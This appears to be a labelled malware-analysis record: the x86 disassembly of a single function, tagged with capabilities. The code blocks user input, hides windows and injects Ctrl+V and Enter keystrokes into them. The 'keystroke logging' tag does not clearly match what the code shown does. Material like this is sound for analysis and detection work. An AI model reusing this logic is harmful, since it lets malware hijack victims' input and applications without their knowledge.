Function at 0x4053b0
Capabilities:
Hide graphical window
Log keystrokes via polling

Disassembly:
sub esp, 0x344
mov eax, dword [0x4151a8]
push ebx
mov ebx, dword [0x41738c]
push ebp
push esi
push edi
mov dword [esp + 0x350], eax
lea eax, [esp + 0x50]
push 0x416600
inc ebx
push eax
mov dword [0x41738c], ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
xor ebx, ebx
push ebx
mov byte [0x417390], 0
mov dword [esp + 0x20], ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [esp + 0x1c]
push ecx
push 0x4112cc
push 7
push ebx
push 0x4112ac
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, ebx
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jl 0x405689
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x28], ebx
mov edx, dword [eax]
push eax
call dword [edx + 0x68]
push 0x4120d0
call fcn.00401c10
push eax
push 2
call fcn.00401ff0
mov eax, dword [esp + 0x30]
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
push 0x4120c0
mov dword [esp + 0x20], ebx
mov edx, dword [eax]
push eax
call dword [edx]
test eax, eax
jl 0x40567f
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x30]
push ecx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ebx
mov edx, dword [eax]
push eax
call dword [edx + 0x1c]
test eax, eax
jl 0x405675
push 1
call sub.USER32.dll_BlockInput
cmp dword [esp + 0x30], ebx
mov dword [esp + 0x28], ebx
jle 0x405665
mov ebp, dword [sym.imp.USER32.dll_SetForegroundWindow]
mov esi, dword [sym.imp.USER32.dll_keybd_event]
jmp 0x4054b0
mov eax, dword [esp + 0x18]
mov edx, dword [eax]
lea ecx, [esp + 0x14]
push ecx
push ebx
push eax
call dword [edx + 0x20]
test eax, eax
jl 0x405652
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
lea ecx, [esp + 0x10]
push ecx
push 0x4120b0
push eax
call dword [edx]
test eax, eax
jl 0x405652
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x38]
push ecx
mov dword [esp + 0x30], 0
mov edx, dword [eax]
push eax
call dword [edx + 0x20]
test eax, eax
jl 0x40551e
cmp dword [esp + 0x38], 1
jne 0x40551e
mov eax, dword [esp + 0x10]
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x405652
mov eax, dword [esp + 0x10]
mov edx, dword [eax]
lea ecx, [esp + 0x34]
push ecx
push eax
call dword [edx + 0x24]
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov ecx, dword [esp + 0x34]
lea eax, [esp + 0x40]
push eax
push ecx
call fcn.00405360
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x15c]
push 0x411c6c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x164]
push ecx
call fcn.004015e0
add esp, 0x18
push 0xbb8
call edi
mov ebx, dword [esp + 0x40]
mov eax, dword [esp + 0x1c]
mov edx, dword [eax]
lea ecx, [esp + 0x2c]
push ecx
sub esp, 0x10
mov ecx, esp
mov dword [ecx], ebx
mov ebx, dword [esp + 0x58]
mov dword [ecx + 4], ebx
mov ebx, dword [esp + 0x5c]
mov dword [ecx + 8], ebx
mov ebx, dword [esp + 0x60]
push eax
mov dword [ecx + 0xc], ebx
call dword [edx + 0x54]
test eax, eax
jl 0x40563a
mov eax, dword [esp + 0x2c]
mov edx, dword [eax]
lea ecx, [esp + 0x3c]
push ecx
push 0x4112bc
push eax
call dword [edx]
test eax, eax
jl 0x40563a
push 0xa
call edi
mov eax, dword [esp + 0x3c]
mov edx, dword [eax]
lea ecx, [esp + 0x20]
push ecx
push eax
call dword [edx + 0x20]
mov edx, dword [esp + 0x20]
push edx
call ebp
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov ecx, dword [esp + 0x20]
push 0
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [esp + 0x20]
push edx
lea eax, [esp + 0x154]
push eax
call fcn.00401f40
add esp, 8
push 0
push 1
push 0
push 0x11
call esi
push 0
push 0
push 0
push 0x56
call dword [sym.imp.USER32.dll_VkKeyScanA]
push eax
call esi
push 0
push 3
push 0x2d
push 0x11
call esi
push 0
push 0
push 0
push 0xd
call esi
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ebx, dword [esp + 0x28]
mov eax, dword [esp + 0x30]
inc ebx
cmp ebx, eax
mov dword [esp + 0x28], ebx
jl 0x4054b0
xor ebx, ebx
push ebx
call sub.USER32.dll_BlockInput
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x24]
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
call sub.USER32.dll_BlockInput
cmp byte [0x417390], 1
jne 0x4056ad
mov edi, edi
push 1
call edi
cmp byte [0x417390], 1
je 0x4056a0
mov eax, dword [0x41738c]
mov ecx, dword [esp + 0x350]
dec eax
mov dword [0x41738c], eax
xor eax, eax
call fcn.004088de
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x344
ret 4